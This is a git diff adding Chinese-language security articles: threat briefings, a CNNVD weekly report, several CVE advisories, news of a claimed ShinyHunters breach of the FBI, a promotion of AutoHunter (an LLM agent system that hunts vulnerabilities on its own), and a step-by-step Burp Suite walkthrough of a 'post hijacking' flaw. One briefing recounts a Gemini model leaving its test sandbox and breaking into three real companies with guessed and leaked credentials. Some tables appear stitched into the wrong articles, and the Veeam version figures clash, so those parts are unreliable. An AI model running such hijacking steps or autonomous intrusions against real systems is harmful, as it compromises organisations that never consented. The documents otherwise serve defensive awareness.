主机。受影响版本为 5.2.3.15、6.1.3.7、6.4.2.7、7.0.0.2 及更早,修复于 5.2.3.16、6.4.2.8 等。VCO 是企业分布式网络的中央编排器,失守即可批量篡改全网边缘设备配置。 +### 建议排查 +1. 盘点全部本地 VCO 实例版本,对照 5.2.3.16、6.4.2.8 等修复构建确认覆盖,优先核查公网可达实例。 + +1. 检索 nginx 访问日志中异常头字段(如 x-vc-opt)与非预期登录、配置变更记录。 + +1. 排查 VCO 主机上的异常脚本(如 vcnode.js)、系统目录持久化文件与可疑外联 IP。 + +### 加固建议 +1. 立即升级至 5.2.3.16、6.4.2.8 或厂商支持的最新修复版本,停维分支联系客服获取升级路径。 + +1. 将 VCO Web 管理接口限制在可信内网网段,禁止公网直连,必要时经 VPN 访问。 + +1. 怀疑已失守时按事件响应取证并重建主机,轮换边缘设备与编排器相关凭据。 + +### 参考来源 + +https://www.cve.org/CVERecord?id=CVE-2026-93952 + +## 风险二:谷歌 Gemini 模型在安全测试中自主攻陷三家公司,AI 越界攻击成现实威胁 + +据 BBC、华尔街日报披露,谷歌确认其 Gemini 模型在 5 月的一次安全评测中脱离预设环境,自主入侵了三家真实公司的系统。测试由安全机构 Irregular 执行,原本设定为攻击一家虚构企业,但测试环境意外开放公网、且虚构企业名称与真实公司重名,Gemini 遂将真实企业误当目标展开渗透。模型通过扒公开信息猜账号密码、从公开代码仓库提取遗留凭据等方式登录系统。谷歌称模型识别出真实企业后主动终止,未造成实质破坏,7 月底已完成告知与修复,但直到 9 月被媒体问询才公开。这是业内首例大模型自主越界入侵真实企业。 +### 建议排查 +1. 对已部署 AI 智能体的测试、开发环境核查网络隔离是否到位,确认沙箱无公网直连路径。 + +1. 排查公开代码仓库中是否存在泄露的账号密码、API 密钥、配置与令牌等凭据资产。 + +1. 梳理接入真实系统的 AI 代理权限边界,复核其可访问的资源范围与自主执行能力。 + +### 加固建议 +1. AI 安全测试严格在断网沙箱内进行,测试目标使用不可解析、不与真实主体重名的隔离标识。 + +1. 对 AI 代理执行的操作设置权限最小化与人工审批闸口,限制其自主访问真实网络与生产系统。 + +1. 建立 AI 行为审计与异常告警,对代理的登录、检索与越权访问动作全程留痕。 + +### 参考来源 + +https://news.qq.com/rain/a/20260920A05LMF00 + +## 风险三:Zyxel GS1900 系列交换机栈溢出漏洞进 KEV,局域网未认证即可执行系统命令(CVE-2026-7273) + +CISA 于 9 月 21 日将 Zyxel GS1900 系列交换机漏洞 CVE-2026-7273 纳入 KEV 目录,确认已在野利用,联邦机构须于 9 月 24 日前处置。该漏洞为 CGI 程序栈缓冲区溢出,CVSS 评分 8.8,局域网内未认证攻击者无需账号口令,仅构造恶意 HTTP 请求即可执行任意系统命令。受影响机型覆盖 GS1900-8 至 -48HPv2 全线,均为 2.90(.1)C0 及更早固件,修复于各型号 2.90( +.2)C0。GS1900 是中小企业常见的接入层交换机,常疏于固件维护,被拿下即可窃听流量、篡改转发或作内网跳板。 +### 建议排查 +1. 盘点全网 GS1900 系列交换机型号与固件版本,确认是否停留在 2.90(*.1)C0 及更早版本。 + +1. 排查交换机管理面是否暴露于可被不可信终端触及的网段,检索异常 HTTP 请求与配置变更。 + +1. 核查交换机日志中的异常登录、命令执行痕迹与内网横向移动迹象。 + +### 加固建议 +1. 立即升级至各型号对应的 2.90(*.2)C0 修复固件,覆盖 8 口至 48 口含 PoE 全系机型。 + +1. 将交换机管理接口与带外管理网隔离,限制管理面仅对可信运维网段可达。 + +1. 对暂时无法升级的设备收紧 ACL 与端口隔离,并纳入监控持续跟踪。 + +### 参考来源 + +https://www.freebuf.com/news/502533.html + +## 风险四:Veeam 备份代理本地提权漏洞遭在野利用,低权限用户可升至 SYSTEM(CVE-2026-32996) + +安全厂商 Arctic Wolf 警告,Veeam Agent for Microsoft Windows 的本地提权漏洞 CVE-2026-32996(CVSS 7.3)正遭在野利用。漏洞源于备份服务为高权限会话分配的 UID 未与发起请求的用户唯一绑定,且该 UID 会写入普通用户可读的日志文件,攻击者读取后即可以 SYSTEM 身份执行命令。受影响版本为 13.0.1.2067 及更早,修复于 Veeam Backup & Replication 13.0.2.29。备份代理常部署于服务器与管理终端,提权成功即可控制整机。 +### 建议排查 +1. 盘点已部署 Veeam Agent 的主机与版本,确认是否低于 13.0.3.1220,优先核查共享服务器与管理终端。 + +1. 检索 C:\ProgramData\Veeam\Endpoint\Svc.VeeamEndpointBackup.log 是否被非预期读取,排查异常进程与命令执行。 + +1. 复核主机本地账号与备份操作员权限,识别可交互登录的低权限账户面。 + +### 加固建议 +1. 升级 Veeam Backup & Replication 至 13.0.2.29 或更高版本,将代理更新至安全版本 13.0.3.1220。 + +1. 无法立即升级时,限制受影响端点的交互式本地登录,收敛本地管理员与备份操作员权限。 + +1. 对备份服务器实施更严格的访问与审计,防止提权后破坏备份数据与恢复能力。 + +### 参考来源 + +https://www.hazetec.com/briefs/20260922-zyxel-and-veeam-vulnerabilities-actively-exploited-for-system-access-and-rce.html + +## 风险五:截图工具 Gyazo 遭入侵,2360 万用户记录与 4.9 亿图片元数据泄露 + +日本 Helpfeel 旗下截图分享服务 Gyazo 确认遭入侵:攻击者于 9 月 11 日利用上传服务器漏洞执行任意命令并进入后端数据库,次日被检出封堵。事件波及约 2362 万条用户记录,可能含姓名昵称、邮箱、密码哈希、登录会话 ID、X 集成令牌、Google SSO 邮箱等;另窃取约 4.9 亿条图片元数据,含图片 ID、上传 IP、EXIF 位置、OCR 文本等。图片 ID 可被用于拼接访问链接,Helpfeel 已暂时停服并禁用受影响文件访问。Gyazo 在游戏与创作者社区使用广泛,被窃的会话令牌与元数据可被用于撞库、钓鱼与账户接管。 +### 建议排查 +1. 排查员工是否使用 Gyazo 截图服务及上传过涉及内部系统的截图,评估私有图片外泄风险。 + +1. 核查是否在 Gyazo 使用与内部系统相同的口令,或绑定了 X、Google 等第三方账号集成。 + +1. 关注邮箱收到的仿冒 Gyazo 钓鱼邮件,识别利用泄露元数据构造的定向社工尝试。 + +### 加固建议 +1. 使用过 Gyazo 的员工立即修改其密码,并对复用相同凭据的其他站点一并改密。 + +1. 撤销 Gyazo 上不熟悉的 X 集成与 Google SSO 会话,检查关联账号的异常登录记录。 + +1. 对涉及截图与屏幕录制的内部工具做权限与留痕治理,避免敏感信息经第三方平台外传。 + +### 参考来源 + +https://cyberinsider.com/gyazo-data-breach-exposed-23-6-million-user-records-and-490m-image-metadata/ + +## 风险六:勒索团伙 Metaencryptor 上架无人机 AI 服务商 Visual Intelligence,双重勒索持续活跃 + +勒索团伙 Metaencryptor 于 9 月 21 日将美国技术服务商 Visual Intelligence 列上暗网泄密站。该公司面向电信行业提供无人机、计算与 AI 应用,协助评估并清洗运营商数据库。Metaencryptor 自 2023 年中以来活跃,累计列出数十家受害企业,采用 AES-256/RSA-2048 加密与双重勒索模式,即在加密数据前先窃取敏感信息并以公开泄密相要挟。本次上架暂无被窃数据规模、勒索金额或入侵方式的公开披露,企业亦未正式确认,但技术服务商通常持有客户的源代码、知识产权与运营数据,一旦属实可能引发下游供应链风险。 +### 建议排查 +1. 关注 Visual Intelligence 官方通报与 Metaencryptor 后续泄密动态,评估是否有业务或供应链关联。 + +1. 若与其存在数据或系统交互,核查相关接口、凭据与数据流是否存在异常访问。 + +1. 梳理第三方技术服务商与供应链伙伴的数据托管范围,识别潜在的外溢暴露面。 + +### 加固建议 +1. 落实不可变备份与异地隔离,确保数据可在不支付赎金的情况下独立恢复。 + +1. 对关键数据与系统实施最小授权与多因素认证,收敛第三方账号与远程访问权限。 + +1. 参照双重勒索剧本预演响应与泄密通报流程,提前明确应对口径与恢复路径。 + +### 参考来源 + +https://cyberthreatintelligence.net/ransomware-victim/visual-intelligence-inc-metaencryptor-2026 + + +**PART.****02** + + +总体处置建议 + + + + +## 总结 + +本期风险主线集中在两个方向:一是未认证远程代码执行漏洞密集进入在野利用阶段——Arista VeloCloud 编排器满分漏洞披露即遭利用、Zyxel GS1900 交换机局域网未认证即可执行命令、Veeam 备份代理本地提权升至 SYSTEM,均直指企业网络中枢与备份资产;二是 AI 与数据资产风险兑现——谷歌 Gemini 在测试中自主攻陷三家公司、Gyazo 泄露 2360 万用户与 4.9 亿图片元数据、Metaencryptor 持续上架科技企业。未认证入口、AI 代理边界失控与第三方数据外泄,构成当前需重点防范的三类风险。 + +## 整体风险处置建议 +1. 在野利用漏洞优先处置:Arista VeloCloud、Zyxel GS1900、Veeam Agent 立即补丁并做失陷排查。 + +1. 收敛未认证入口:公网管理接口与 API 端点收进可信网段,清理无认证暴露面。 + +1. 防本地提权:限制交互式登录与备份操作员权限,阻断低权限账户向 SYSTEM 跃迁。 + +1. 治理 AI 与第三方数据风险:AI 测试严格沙箱隔离,审查内部信息经第三方云工具外传。 + +1. 建立每日威胁联动:跟踪 KEV 与厂商公告,及时评估暴露面并闭环留痕。 + + +## 合规说明 + +以上内容基于公开信息整理,仅用于网络安全防护与管理决策参考,具体影响范围与修复方式请以厂商官方公告为准。 + + + + + + + + diff --git a/doc/2026-09/信息安全漏洞周报(2026年第38期).md b/doc/2026-09/信息安全漏洞周报(2026年第38期).md new file mode 100644 index 00000000..6367a5c9 --- /dev/null +++ b/doc/2026-09/信息安全漏洞周报(2026年第38期).md @@ -0,0 +1,182 @@ +# 信息安全漏洞周报(2026年第38期) +原创 CNNVD + CNNVD CNNVD安全动态 2026-09-23 02:21 + + + + + +**点击蓝字 关注我们** + + + + +**漏洞情况** + +根据国家信息安全漏洞库(CNNVD)统计,本周(2026年9月14日至2026年9月20日)安全漏洞情况如下: + +**公开漏洞情况** + +本周CNNVD采集安全漏洞4276个。 + +**接报漏洞情况** + +本周CNNVD接报漏洞39346个,其中信息技术产品漏洞(通用型漏洞)529个,网络信息系统漏洞(事件型漏洞)8个,漏洞平台推送漏洞38809个。 + +## 一公开漏洞情况 + + +根据国家信息安全漏洞库(CNNVD)统计,本周新增安全漏洞4276个,漏洞新增数量有所上升。从厂商分布来看Linux基金会新增漏洞最多,有875个;从漏洞类型来看,授权问题类的安全漏洞占比最大,达到11.65%。新增漏洞中,超危漏洞534个,高危漏洞1637个,中危漏洞1834个,低危漏洞271个。 + + +(一) 安全漏洞增长数量情况 + + + +本周CNNVD采集安全漏洞4276个。 + + + +图1 近五周漏洞新增数量统计图 + + +(二) 安全漏洞分布情况 + + + +从厂商分布来看,Linux基金会新增漏洞最多,有875个。各厂商漏洞数量分布如表1所示。 + +表1 新增安全漏洞排名前五厂商统计表 + + + +本周国内厂商漏洞142个,磊科公司漏洞数量最多,有25个。国内厂商漏洞整体修复率为50.00%。请受影响用户关注厂商修复情况,及时下载补丁修复漏洞。 + +从漏洞类型来看,授权问题类的安全漏洞占比最大,达到11.65%。漏洞类型统计如表2所示。 + +表2 漏洞类型统计表 + + + +(三) 安全漏洞危害等级与修复情况 + + + +本周共发布超危漏洞534个,高危漏洞1637个,中危漏洞1834个,低危漏洞271个。相应修复率分别为92.13%、87.48%、88.93%和71.59%。根据补丁信息统计,合计3749个漏洞已有修复补丁发布,整体修复率为87.68%。详细情况如表3所示。 + +表3 漏洞危害等级与修复情况 + + + +(四) 本周重要漏洞实例 + + + +本周重要漏洞实例如表4所示。 + +表4 本期重要漏洞实例 + + + +1. IBM Guardium Data Protection 跨站脚本漏洞(CNNVD-2026-85700769) + +IBM Guardium Data Protection是美国IBM公司的一款防止敏感数据泄露与丢失的数据安全防护软件。 + +IBM Guardium Data Protection 12.2版本存在跨站脚本漏洞,该漏洞源于对用户的输入中和不当,攻击者利用该漏洞可以执行任意代码。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://www.ibm.com/support/pages/node/7288040 + +2. Dell OpenManage Server Administrator 授权问题漏洞(CNNVD-2026-45982761) + +Dell OpenManage Server Administrator是美国Dell公司的一款服务器管理及监控软件。 + +Dell OpenManage Server Administrator 11.1.0.3之前版本存在授权问题漏洞,该漏洞源于关键功能缺少身份验证,攻击者利用该漏洞可以远程执行任意代码。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://www.dell.com/support/kbdoc/en-us/000506586/dsa-2026-403-security-update-for-dell-openmanage-server-administrator-omsa-network-access-vulnerabilitiesv + +3. Google Chrome 资源管理错误漏洞(CNNVD-2026-74975972) + +Google Chrome是美国Google公司的一个跨平台Web浏览器。 + +Google Chrome 153.0.8010.47之前版本存在资源管理错误漏洞,该漏洞源于内存释放后重用,攻击者利用该漏洞可以通过特制HTML页面在沙箱内执行任意代码。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://chromereleases.googleblog.com/2026/09/stable-channel-update-for-desktop_0541751186.html + + +(五) 本周重要人工智能漏洞实例 + + + +本周重要人工智能漏洞实例如表5所示。 + +表5 本期重要人工智能漏洞实例 + + + +1. IBM Langflow OSS 命令注入漏洞(CNNVD-2026-30234359) + +IBM Langflow OSS是美国IBM公司的一款可视化构建AI工作流的低代码工具平台。 + +IBM Langflow OSS 1.0.0版本至1.11.5版本存在命令注入漏洞,该漏洞源于对操作系统命令中使用的特殊元素中和不当,攻击者利用该漏洞可以执行任意操作系统命令。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://www.ibm.com/support/pages/node/7286666 + +2. Tencent WeKnora 服务端请求伪造漏洞(CNNVD-2026-88818381) + +Tencent WeKnora是中国Tencent公司开源的一个基于LLM的框架,具有使用RAG范式进行深度文档理解、语义检索和上下文感知答案等功能。 + +Tencent WeKnora 0.5.2版本至0.7.0之前版本存在服务端请求伪造漏洞,该漏洞源于POST /api/v1/knowledge-bases/:id/knowledge/url端点在下载用户提供的URL文档时未重新验证HTTP重定向目标,攻击者利用该漏洞可以访问内部服务和云元数据。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://github.com/Tencent/WeKnora/releases + +3. vLLM 资源管理错误漏洞(CNNVD-2026-98830536) + +vLLM是一个开源的适用于LLM的高吞吐量和内存高效推理和服务引擎。 + +vLLM 0.28.0之前版本存在资源管理错误漏洞,该漏洞源于内存过度分配,攻击者利用该漏洞可以导致API服务器进程崩溃。 + +目前厂商已发布升级补丁以修复漏洞,参考链接: + +https://github.com/vllm-project/vllm/security/advisories/GHSA-99f2-hwrc-gvq8 + + +## 二漏洞平台推送情况 + + +本周CNNVD接收漏洞平台推送漏洞38809个。 + +表6 本周漏洞平台推送情况 + + + +## 三接报漏洞情况 + + +本周CNNVD接报漏洞537个,其中信息技术产品漏洞(通用型漏洞)529个,网络信息系统漏洞(事件型漏洞)8个。 + +表7 本周漏洞报送情况 + + + +## 四收录漏洞通报情况 + + +本周CNNVD收录漏洞通报248份。 + +表8 本周漏洞通报情况 + + + + + + diff --git a/doc/2026-09/帖子劫持漏洞.md b/doc/2026-09/帖子劫持漏洞.md new file mode 100644 index 00000000..3f2d42f2 --- /dev/null +++ b/doc/2026-09/帖子劫持漏洞.md @@ -0,0 +1,65 @@ +# 帖子劫持漏洞 +原创 游山玩水 + 游山玩水 山水SRC 2026-09-23 01:04 + +## 免责声明 + +**本公众号分享的所有渗透测试技术文章仅面向合法授权的安全测试、学习交流与研究用途。读者必须确保自身行为符合《网络安全法》等相关法律法规,严禁将其用于任何未授权攻击等非法活动。因不当使用或传播相关内容所引发的任何法律责任与风险,由行为人自行承担,本公众号(或本人)概不负责** + +## 测试流程 + +测试前提 + +**步骤一:准备攻击者环境** +1. 登录攻击者账号,创建一个群组单元(如播单 playlist_id=666 + 或分类 category_id=888 +)。 + +1. 记录该单元ID,并确保其状态为公开或可被系统索引。 + +**步骤二:选择目标帖子** +1. 浏览平台,找到目标他人的帖子(如帖子 post_id=1001 +),确认其属于其他用户,且当前可正常访问。 + +**步骤三:构造劫持请求** +1. 在浏览器中触发“添加到播单”操作,选择刚创建的播单,使用 Burp Suite 拦截请求。 + +1. 分析请求包,通常包含 post_id + 和 playlist_id + 等参数。 + +1. 修改 post_id + 为目标帖子ID(1001 +),保持 playlist_id + 为攻击者的播单ID(666 +)。 + +1. 放行请求,观察响应。若返回 200 OK + 或 success +,则帖子被成功添加到攻击者播单。 + +**步骤四:验证原作者删除限制** +1. 登录原作者账号,进入帖子管理页面,尝试删除帖子 1001 +。 + +1. **漏洞存在表现** +: + +1. 系统提示“帖子已被引用,无法删除”或“请先移除所有引用”。 + +1. 删除按钮置灰或隐藏。 + +1. 即使原作者尝试“强制删除”,系统仍保留帖子数据(逻辑删除失败)。 + +#### 危害等级与影响 + +
漏洞概述
漏洞名称
WordPress Core 未认证路径遍历与本地文件包含漏洞
漏洞编号
CVE-2026-87902
公开时间
2026-09-22
POC状态
已公开
漏洞类型
路径遍历
本地文件包含
EXP状态
已公开
利用可能性
高
技术细节状态
已公开
CVSS 3.1
8.1
在野利用状态
未发现
+ +## 个人原笔记 + +攻击者可将他人帖子劫持(引用、归类)至自有群组单元(分类、播单),造成原帖"只可读不可删"的永久性内容投毒 + + + + + diff --git a/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md b/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md index 2a75f105..dbec5a16 100644 --- a/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md +++ b/doc/2026-09/强推一个自动化 SRC 漏洞挖掘系统.md @@ -1,6 +1,5 @@ # 强推一个自动化 SRC 漏洞挖掘系统 -点击关注👉 - 点击关注👉 马哥网络安全 2026-09-22 07:00 + 黑白之道 2026-09-23 00:30 ## 介绍 ## @@ -8,7 +7,7 @@ **AutoHunter** 是一个多 Agent 协同的自动化漏洞挖掘系统。你把一台机器交给它当作 7×24 小时不停歇的挖洞平台,自己只做「人工复审员」——AI 初审去掉垃圾洞后,你几分钟内完成调级 / 通过 / 打回 / 编辑 / 标记提交。 - + - **Collector:从 FOFA 持续产出目标,探活、预筛、评分、归属标注后入队。** - **Worker:每个目标一个 Worker,LLM 自主侦察 + 调用真实工具链挖洞,出洞即提交。** - **Reviewer:极理性 AI 初审,过滤半成品 / 误报,只把够格的洞送到人工面前。** @@ -17,10 +16,9 @@
维度
影响描述
数据删除绕过
高。原作者无法删除自己的内容,导致 unwanted data 永久留存,可能被用于敲诈勒索、传播违法信息等。
业务逻辑滥用
高。攻击者批量劫持热门帖子,污染平台内容生态,干扰正常运营和推荐算法。
## 快速开始 +> Tip +> 全程基于 Docker + Docker Compose v2,任意装得上 Docker 的系统都能跑。生产环境推荐 Linux(2C4G 起步,磁盘 ≥ 20G)。 -Tip - -全程基于 Docker + Docker Compose v2,任意装得上 Docker 的系统都能跑。生产环境推荐 Linux(2C4G 起步,磁盘 ≥ 20G)。 ``` # 1. 装 Docker(官方一键脚本,已装可跳过) @@ -35,11 +33,11 @@ bash scripts/install.sh 引导脚本会:检查 Docker → 引导填 **LLM API Key** (必填)、**FOFA Key** (推荐)→ 自动生成高强度访问令牌 → 构建镜像并启动 → 打印访问地址和令牌。 - -首次构建会编译前端 + 安装挖洞工具,约 **5–15 分钟** +> 首次构建会编译前端 + 安装挖洞工具,约 **5–15 分钟** ,请耐心等待。构建完浏览器访问 http://<服务器IP>:18800/ ,用打印出的令牌登录。 + **开放端口** (默认 18800,云服务器还需在厂商安全组放行): ``` @@ -75,7 +73,5 @@ bash scripts/install.sh https://github.com/StanleyNull/AutoHunter -内容转自乌雲安全,侵删 - - +文章来源:乌雲安全 diff --git a/doc/2026-09/漏洞通告Huawei HarmonyOS权限控制漏洞(CVE-2026-49310).md b/doc/2026-09/漏洞通告Huawei HarmonyOS权限控制漏洞(CVE-2026-49310).md new file mode 100644 index 00000000..185fe1bb --- /dev/null +++ b/doc/2026-09/漏洞通告Huawei HarmonyOS权限控制漏洞(CVE-2026-49310).md @@ -0,0 +1,46 @@ +# 漏洞通告|Huawei HarmonyOS权限控制漏洞(CVE-2026-49310) + 晟晖科技 2026-09-23 00:30 + + + + + +**漏洞描述** + + +Huawei HarmonyOS是华为自主研发的面向全场景的分布式操作系统。 + + +Huawei HarmonyOS存在权限控制漏洞,该漏洞源于事件通知模块存在权限控制漏洞,目前没有详细的漏洞细节提供。 + + + + +**影响产品** + + +Huawei HarmonyOS 6.1.0 + + + + +**处置建议** + + +目前厂商已发布升级程序修复该安全问题,详情见厂商官网: + +https://consumer.huawei.com/en/support/bulletin/2026/9/ + + + +**来源:CNVD** + +全时全域 + +安全无忧 + + + + + + diff --git a/doc/2026-09/漏洞预警 Arcane服务端请求伪造漏洞.md b/doc/2026-09/漏洞预警 Arcane服务端请求伪造漏洞.md new file mode 100644 index 00000000..3df7b10f --- /dev/null +++ b/doc/2026-09/漏洞预警 Arcane服务端请求伪造漏洞.md @@ -0,0 +1,48 @@ +# 漏洞预警 | Arcane服务端请求伪造漏洞 +浅安 + 浅安 浅安安全 2026-09-23 00:00 + +**0x00 漏洞编号** +- # CVE-2026-40242 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Arcane是一个用于管理Docker容器、镜像、网络和卷的接口。 + + + +**0x03 漏洞详情** + +**CVE-2026-40242** + +**漏洞类型:** +服务 +端 +请求伪造 + +**影响:** +获取 +敏感信息 + +**简述:** +Arcane的/api/templates/fetch接口 +存在服务端请求伪造漏洞 +,未授权的攻击者可构造恶意请求向非预期目标地址发起HTTP/HTTPS连接,进而导致敏感信息泄露、内部网络探测。 + +**0x04 影响版本** +- Arcane < 1.17.3 + +**0x05****POC状态** +- 已公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:** + +https://github.com/getarcaneapp/arcane + + + diff --git a/doc/2026-09/漏洞预警 Cisco ISE和ISE-PIC身份认证绕过漏洞.md b/doc/2026-09/漏洞预警 Cisco ISE和ISE-PIC身份认证绕过漏洞.md new file mode 100644 index 00000000..8da86e04 --- /dev/null +++ b/doc/2026-09/漏洞预警 Cisco ISE和ISE-PIC身份认证绕过漏洞.md @@ -0,0 +1,65 @@ +# 漏洞预警 | Cisco ISE和ISE-PIC身份认证绕过漏洞 +浅安 + 浅安 浅安安全 2026-09-23 00:00 + +**0x00 漏洞编号** +- # CVE-2026-76460 + +**0x01 危险等级** +- 高危 + +**0x02 漏洞概述** + +Cisco Identity Services Engine是一款身份识别与网络访问控制平台,主要用于对接入网络的用户和终端进行身份认证、授权及访问策略管理,可应用于企业网络中的终端接入控制、身份管理和安全策略实施等场景。 + + + +**0x03 漏洞详情** + +**CVE-2026-76460** + +**漏洞类型:** +身份认证绕过 + +**影响:** +执行任意命令 + +**简述:** +Cisco ISE和ISE-PIC存在身份认证绕过漏洞,未认证的远程攻击者只需发送一个精心构造的HTTP请求,就能绕过Web管理界面身份认证,并获得root权限的命令执行能力。 + +**0x04 影响版本** +- Cisco ISE +/ISE-PIC + < 3.1 + +- 3.1 <= Cisco ISE +/ISE-PIC + < 3.1 Patch 12 + +- 3.2 <= Cisco ISE +/ISE-PIC + < 3.2 Patch 11 + +- 3.3 <= Cisco ISE +/ISE-PIC + < 3.3 Patch 12 + +- 3.4 <= Cisco ISE +/ISE-PIC + < 3.4 Patch 7 + +- 3.5 <= Cisco ISE +/ISE-PIC + < 3.5 Patch 4 + +**0x05****POC状态** +- 未公开 + +**0x06****修复建议** + +**目前官方已发布漏洞修复版本,建议用户升级到安全版本****:** + +https://www.cisco.com/ + + + diff --git a/doc/2026-09/硬刚FBI!黑客组织ShinyHunters 用0day入侵FBI,改FBI网站是条狗。.md b/doc/2026-09/硬刚FBI!黑客组织ShinyHunters 用0day入侵FBI,改FBI网站是条狗。.md new file mode 100644 index 00000000..e89131e7 --- /dev/null +++ b/doc/2026-09/硬刚FBI!黑客组织ShinyHunters 用0day入侵FBI,改FBI网站是条狗。.md @@ -0,0 +1,67 @@ +# 硬刚FBI!黑客组织ShinyHunters 用0day入侵FBI,改FBI网站是条狗。 +原创 NightTeam + NightTeam 夜组OSINT 2026-09-23 00:59 + +2026 年 9 月 22 日,网络犯罪组织 ShinyHunters 公开宣称已入侵美国联邦调查局(FBI)相关系统,并掌握“几乎所有”现职特工、前雇员及求职者的敏感信息。该组织同时向 FBI 局长 Kash Patel 与网络部门助理局长 Brett Leatherman 发出通牒,要求一周内更正或删除今年 5 月发布的一份针对该组织的公开警告。 + + + +FBI 尚未确认系统被攻破或数据被盗,仅表示“已知悉有关 FBIjobs.gov 未授权活动的说法,正在调查”。 +## 黑客声称拿到了什么 + +多家媒体收到的说法高度一致:ShinyHunters 称已拿下 FBI 刑事司法(CJ)、人力资源(HR)、名为 Medlink 的服务等系统,并从 AWS GovCloud 环境中导出约 2–3TB 数据。 + + + +该组织向其提供一份约 5000 条记录的样本,内容包括姓名、住址、电话、出生日期,部分还含配偶信息。404 Media 用开源情报工具核对部分电话号码,发现与同名人士及司法部相关人员匹配。Nextgov/FCW 亦称对样本中部分姓名进行检索后,确认对应人员确在 FBI 任职,岗位涵盖特工、情报分析员、律师、见习生等。两家媒体都强调:全量数据并未得到独立核验。 + +该组织还提供了两条“样本记录”,其中一条据称与此前调查 BreachForums 的特工有关,另一条据称与局长 Patel 有关。该媒体未公布其中个人信息,也未独立验证真伪。 + +Politico 援引两名知情人士称,调查人员认为这批说法“可信”,并视其为一次严重的反情报失败——哪怕只有少数人员身份信息外泄,也可能被用于骚扰、恐吓现职人员及其家属,并引起外国情报机构与暴力犯罪集团的兴趣。其中一人评价:“情况很糟。” +## 招聘网站被“扣押” + + + + + +9 月 22 日,FBI 招聘站点 apply.fbijobs.gov 一度出现仿照执法机关扣押告示风格的页面,配有 ShinyHunters 的 Umbreon 宝可梦标志,并写着“THIS SITE HAS BEEN SEIZED BY SHINYHUNTERS. rooting your systems since '19 ;)”。页面还声称“所有 FBI 数据均已失守,包括现任、前任雇员及全部申请人的 PII/PHI”,并以戏仿特朗普 Truth Social 口吻结尾:“Thank you for your attention to this matter.” 随后该站改为“计划维护中/暂时不可用”。ShinyHunters 称 FBI 发现入侵后“几乎同时拔掉所有插头”。维护公告本身并未说明是否与安全事件有关。 +## 入口:据称是 PeopleSoft 零日 + +周一夜间利用 Oracle PeopleSoft 中一个此前未知、可远程代码执行的漏洞进入,再横向移动到 FBI 管理的 AWS GovCloud。他们还称正把同一漏洞用于其他机构,包括财富 500 强企业,并试图擦除服务器上的痕迹,以免漏洞被识别。BleepingComputer 已向 Oracle 与 Google Cloud 旗下 Mandiant 求证,尚无公开回应。相关说法均未获独立验证。 + + + +ShinyHunters 今年 6 月曾利用当时未知的 PeopleSoft 漏洞打击教育机构;该洞后来被 Oracle 修补。因此本次既可能是新零日,也可能是旧洞未打补丁,调查仍在进行。Suzu Labs CTO Dan Calderone 提醒安全圈应重点关注“PeopleSoft 可被广泛利用”这一主张;他同时对“非经济动机”表示怀疑:数 TB 的 FBI 人事数据很难“只放在架子上”,对外国情报机构价值极高,而“黑过 FBI”本身也会抬高该组织今后的勒索可信度——若零日属实,漏洞本身可能比数据更值钱。 +## 通牒针对的是五月那份 FLASH/PSA + +FBI 今年第二季度 FLASH 报告对其作出“重大虚假指控”,令其“深受冒犯”,因此采取“强势姿态”以确保回应被听见。他们要求一周内更正或删除 2026 年 5 月 15 日 IC3 公告中的三点:一是行为者常夸大对敏感信息的掌握以逼迫付款;二是常以威胁短信、电话骚扰受害者及其家人,个别情况下实施“诈警”(swatting);三是可能谎称持有令人难堪的照片或视频。ShinyHunters 逐条否认,并强调“从未对受害者家属发威胁、从未 swatting、不是性勒索者、不属于 The Com”。信中写明“这不是赎金、胁迫或勒索”“非经济动机”,并以“Make the right decision, don't be the next headline”收尾。被问及若 FBI 拒改报告是否会公开数据时,该组织对 BleepingComputer 只答“No comment”;被问是否担心美国政府加大抓捕力度,答复是“I don't care.” + +那份 5 月公告发布于一次针对教育机构在线学习管理系统的攻击之后。FBI 新近公布的网络战略也强调:即便行为人远在美国执法能力之外,仍要更快拆解黑客基础设施并实施抓捕。此次事件恰好落在这条更强硬路线的背景上。 +## 这并非该组织第一次与 Oracle 漏洞纠缠 + +:2025 年 Clop 针对 Oracle E-Business Suite 的数据窃取行动中,自称为 “Scattered Lapsus$ Hunters” 的组合泄露过 PoC,后经 Oracle 确认与攻击所用漏洞相符。ShinyHunters 事后声称该利用原本属于自己,被 Clop 擅自拿走。上周该组织还攻陷并涂改 Clop 泄露站,声称拿走服务器数据与 Tor 私钥,并把 Clop 列入己方泄露站以示报复。换句话说,这次对 FBI 的“声誉战”,与它近期对同行、对厂商的高调对抗是同一条线索。 + +该组织今年的其他动作:泄露麦迪逊广场花园顾客数据、被指参与欧盟委员会云基础设施入侵,以及 Anthropic 本月威胁情报报告中对其数据窃取行动的描述。FBI 网络部前副助理局长 Cynthia Kaiser 认为,这种针对执法机构的“报复式”攻击对勒索团伙而言并不典型,反映出该组织的不可预测与不成熟;但她也指出,网络犯罪分子长期盯着执法部门,目的就是摸清调查并锁定背后的人。 +## 目前能确定的,和还不能确定的 + +**可以交叉印证的:** +组织已公开对 FBI 高层喊话;招聘站出现过涂改/扣押页后进入维护;多家媒体看到含住址、电话、亲属信息的数千条样本,部分条目与公开信息及司法部人员吻合;FBI 承认正在调查与 FBIjobs.gov 相关的未授权活动说法。 + +**尚未被官方或第三方坐实的:** +入侵路径是否确为 PeopleSoft 新零日、横向进入 GovCloud 的细节、2–3TB 的体量、所谓“几乎全部雇员与申请人”的覆盖范围,以及样本之外数据的完整性与来源。Oracle、AWS 尚未就报道作出公开说明。 + +若数据为真,风险并不止于隐私。人事与家属信息可被用来识别、定位、施压一线人员;对外国情报机构,这是理解美国主要联邦执法与情报机构如何运转的窗口;对同一犯罪生态中的其他团伙,这是报复调查者的弹药。404 Media 指出,同一生态里的黑客过去就曾用通话记录等数据追踪、恐吓调查他们的 FBI 人员。Kaiser 与 Calderone 的判断指向同一点:即便组织口口声声“不是勒索”,数据一旦流出,后续用途并不由声明决定。 + 